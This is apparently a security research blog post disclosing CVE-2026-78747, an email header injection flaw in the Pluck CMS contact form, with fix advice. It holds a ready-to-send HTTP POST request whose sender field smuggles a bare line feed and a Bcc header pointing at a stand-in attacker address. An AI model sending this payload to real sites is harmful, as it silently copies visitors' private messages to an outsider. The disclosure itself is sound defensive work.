Skip to content
Back to blog

The Newline That Got Away (CVE-2026-78747)_

· 3 min read

TL;DR

Pluck CMS 4.7.20 and earlier has an email header injection flaw in its contact form module (CVE-2026-78747). The code strips dangerous newlines from the sender and name fields, but only checks for the full carriage-return-plus-line-feed sequence (\r\n). A bare line feed (\n) slips straight through and gets written into the email headers. An unauthenticated visitor can use that to smuggle in a Bcc header and quietly receive a copy of every message the contact form sends to the admin. Block8.ai's Security Research Team rates it CVSS 3.1 of 7.2 (High), CWE-93 with CWE-80.

What a contact form does

A contact form is one of the most ordinary things on the web. A visitor types their name, their email address, and a message. The server wraps that into an email and sends it to the site owner. The visitor's email address usually ends up in the From or reply header so the owner can respond.

Email, under the bonnet, is a stack of headers followed by a body, and the two are separated by blank lines. Each header sits on its own line. That structure is the thing that has to be defended. If a visitor can inject a line break into a field that becomes part of the headers, they stop filling in a form and start writing email headers directly. New line, new header. That is the entire game.

Where the trust breaks

Pluck's developers knew this. The contact form in data/modules/contactform/contactform.site.php, inside contactform_theme_main(), tries to sanitise the sender field before it becomes a header. Here is the guard:

if (strpos($sender, "\r\n"))
    $sender = substr($sender, 0, strpos($sender, "\r\n"));

The intent is right: find a newline, chop the field off before it. The flaw is the exact string it searches for. It looks for \r\n, the Windows-style carriage return followed by line feed. It never looks for a lone \n.

A bare line feed, ASCII 0x0A, is a perfectly valid line break on its own, and mail transport treats it as one. It just isn't \r\n, so strpos($sender, "\r\n") returns false, the chop never happens, and the field passes through untouched with its newline intact.

Under the bonnet

The sanitised (but not really) field then goes straight into the header string:

$extra_headers = 'From: ... <'.$sender.'>'."\r\n";

Now feed it a sender value of victim@test.com\nBcc: evil@attacker.com. After the failed guard, the header string becomes:

From: ... <victim@test.com
Bcc: evil@attacker.com>

That bare \n ended the From line early and started a brand-new Bcc header. PHP's mail() function hands extra_headers to the mail transport, which dutifully blind-copies every submission to the attacker.

The request that does it needs no login:

POST /?file=contactpage HTTP/1.1
Content-Type: application/x-www-form-urlencoded

contactform_name=Attacker&contactform_sender=victim%40test.com%0ABcc%3A+evil%40attacker.com&contactform_message=test+message&submit=Send

The %0A is the URL-encoded bare line feed doing the quiet work. Both contactform_sender and contactform_name flow into the headers, so either field is a viable injection point. This maps cleanly to CWE-93, improper neutralisation of CRLF sequences, with CWE-80 noted alongside it.

Why it matters

This is the kind of bug that is dangerous precisely because it is silent. Nobody sees a broken page or an error. The contact form keeps working exactly as expected, the admin keeps receiving messages, and in the background every one of those messages is also landing in the attacker's inbox.

Think about what people put in a contact form: names, phone numbers, account problems, sometimes passwords they shouldn't be sending. A persistent Bcc on that channel is a quiet data leak with no obvious tell.

Two things lift this to a High rating of 7.2. First, it needs no privileges at all, the form is open to any anonymous visitor. Second, the scope is marked changed, because the impact lands on the site owner's confidential correspondence and on anyone else whose details flow through the form. Beyond Bcc, the same injection can set Cc, rewrite Content-Type, or add other arbitrary headers, so message redirection and header tampering are all on the table.

How to fix it

  • Reject or strip all line-break characters, not just \r\n. Check for bare \n (0x0A) and bare \r (0x0D) independently. A single pass that removes any of \r, \n, or %0a/%0d variants is the minimum.
  • Better still, stop hand-building headers from user input. Use a mail library that accepts the sender address as a structured value and handles header encoding itself, so a stray newline becomes impossible by construction.
  • Validate the sender field as an email address before it goes anywhere near a header. A valid address contains no line breaks.

Until a fixed release is available, operators relying on the contact form module should treat it as a potential leak of inbound correspondence.

Closing

The developers reached for the right defence and aimed it one character to the left of the target. They guarded against \r\n and left \n wide open, and a mail transport is happy to break a line on either. The Block8.ai Security Research Team found this during authorised research into Pluck CMS. When you sanitise against injection, the rule is to match the class of dangerous input, not one specific spelling of it. Newlines come in several flavours, and attackers will always pick the one you forgot.

Keep reading

Faster. Smarter. Simpler_

Block8.ai delivers AI-powered penetration testing, validated by CREST-certified experts, from $5K.

Start testing

AI-Powered Penetration Testing for Everyone_